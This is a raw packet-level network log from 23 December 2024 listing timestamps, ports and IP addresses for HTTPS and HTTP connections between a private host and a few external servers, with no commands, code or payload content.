Dec 23, 2024 07:28:23.470259905 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.470273972 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.470280886 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.650501013 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:23.650547028 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:23.650698900 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:23.651896954 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:23.651910067 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:24.869427919 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:24.869510889 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:24.872894049 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:24.872900009 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:24.873241901 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:24.874567032 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:24.874600887 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:24.874636889 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.605062962 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.605135918 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.605299950 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.650139093 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.650158882 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.650171041 CET	49700	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.650176048 CET	443	49700	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.819843054 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.819901943 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:25.819977045 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.820547104 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:25.820570946 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.036303043 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.036597013 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.038655996 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.038683891 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.039047956 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.040750027 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.040841103 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.040867090 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807421923 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807490110 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807526112 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807554960 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807580948 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.807610989 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807626009 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.807921886 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807954073 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.807977915 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.807991982 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.808041096 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.815675974 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.820035934 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.820103884 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.820111990 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.865597010 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.865626097 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.906889915 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.927138090 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:27.975075960 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:27.999295950 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.002983093 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.003015995 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.003055096 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.003077984 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.003125906 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.003129959 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.003171921 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.003334045 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.003354073 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.003370047 CET	49701	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.003375053 CET	443	49701	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.170984983 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.171036005 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:28.171169996 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.172121048 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:28.172142982 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:29.385411978 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:29.385566950 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:29.386822939 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:29.386833906 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:29.387068987 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:29.388312101 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:29.388448954 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:29.388483047 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:30.550517082 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:30.550623894 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:30.550682068 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:30.550920963 CET	49703	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:30.550941944 CET	443	49703	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:30.693250895 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:30.693355083 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:30.693469048 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:30.693797112 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:30.693833113 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:31.914791107 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:31.914997101 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:31.916641951 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:31.916671991 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:31.917226076 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:31.919028997 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:31.919244051 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:31.919290066 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:31.919361115 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:31.919373989 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:32.763715029 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:32.763961077 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:32.764040947 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:32.764693022 CET	49709	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:32.764736891 CET	443	49709	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:33.015979052 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:33.016043901 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:33.016129017 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:33.016630888 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:33.016644001 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:34.236216068 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:34.236402988 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:34.237943888 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:34.237956047 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:34.238296032 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:34.241497040 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:34.242002964 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:34.242049932 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:34.242129087 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:34.242140055 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:35.171614885 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:35.171720982 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:35.171785116 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:35.183820009 CET	49715	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:35.183845043 CET	443	49715	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:35.460995913 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:35.461040974 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:35.461112976 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:35.461416960 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:35.461426973 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:36.673093081 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:36.673170090 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:36.674408913 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:36.674421072 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:36.674678087 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:36.676450014 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:36.676582098 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:36.676588058 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:37.457870960 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:37.457971096 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:37.458033085 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:37.458180904 CET	49722	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:37.458204031 CET	443	49722	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:38.018800020 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:38.018840075 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:38.018903971 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:38.019253016 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:38.019263983 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.233356953 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.233426094 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.234858990 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.234870911 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.235130072 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.242227077 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243005037 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243036985 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.243163109 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243201017 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.243530989 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243566990 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.243670940 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243701935 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.243856907 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.243901968 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.244020939 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.244055033 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.244062901 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.244075060 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.244179964 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.244210958 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.244231939 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.244332075 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.244369984 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.287336111 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.287482977 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.287529945 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.287555933 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.287575960 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:39.287600040 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:39.287621021 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:41.621725082 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:41.621812105 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:41.621850014 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:41.679379940 CET	49730	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:41.679398060 CET	443	49730	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:41.965450048 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:41.965502024 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:41.965640068 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:41.966135025 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:41.966150045 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.181845903 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.182107925 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.183418036 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.183438063 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.183820963 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.192171097 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.192203045 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.192317009 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.974814892 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.974951029 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.974999905 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.979368925 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.979399920 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.979418039 CET	49742	443	192.168.2.7	104.21.66.86
Dec 23, 2024 07:28:43.979425907 CET	443	49742	104.21.66.86	192.168.2.7
Dec 23, 2024 07:28:43.983926058 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:44.103457928 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:44.103578091 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:44.103760958 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:44.224419117 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444653988 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444684029 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444695950 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444837093 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.444885969 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444926977 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444938898 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444943905 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.444947004 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.444971085 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.445559978 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.445571899 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.445583105 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.445605993 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.445625067 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.564657927 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.564743042 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.564807892 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.636884928 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.636953115 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.637025118 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.640897989 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.641000986 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.641060114 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.649316072 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.652368069 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.652406931 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.652448893 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.660717964 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.660778999 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.660794973 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.669145107 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.669235945 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.669514894 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.677577972 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.677630901 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.677634001 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.685887098 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.685947895 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.685971975 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.694238901 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.694304943 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.694353104 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.702656031 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.702728987 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.702730894 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.711045980 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.711122036 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.711128950 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.719500065 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.719580889 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.756690979 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.803230047 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.829178095 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.829226971 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.829334021 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.831728935 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.831825972 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.832020044 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.837183952 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.837263107 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.837318897 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.842489004 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.842581034 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.842627048 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.847652912 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.847722054 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.847769022 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.852787971 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.852857113 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.852905035 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.857707977 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.857832909 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.857877970 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.862621069 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.862729073 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.862777948 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.867558956 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.867660046 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.867710114 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.872503042 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.872595072 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.872643948 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.877459049 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.877525091 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.877569914 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.882353067 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.882441044 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.882503986 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.887268066 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.887335062 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.887381077 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.892205000 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.892288923 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.892338991 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.897128105 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.897221088 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.897260904 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.902086973 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.902146101 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.902189016 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.907010078 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.907125950 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.907183886 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.911919117 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.912010908 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.912065029 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.916867971 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.916949034 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.916997910 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.921772003 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.921874046 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.921922922 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.926764011 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.926995039 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.927047014 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.948966026 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.949008942 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:45.949080944 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:45.951337099 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:46.006359100 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:46.021271944 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:46.021440983 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:46.021488905 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:46.023292065 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:46.023478985 CET	80	49748	185.215.113.16	192.168.2.7
Dec 23, 2024 07:28:46.023519993 CET	49748	80	192.168.2.7	185.215.113.16
Dec 23, 2024 07:28:46.027324915 CET	80	49748	185.215.113.16	192.168.2.7
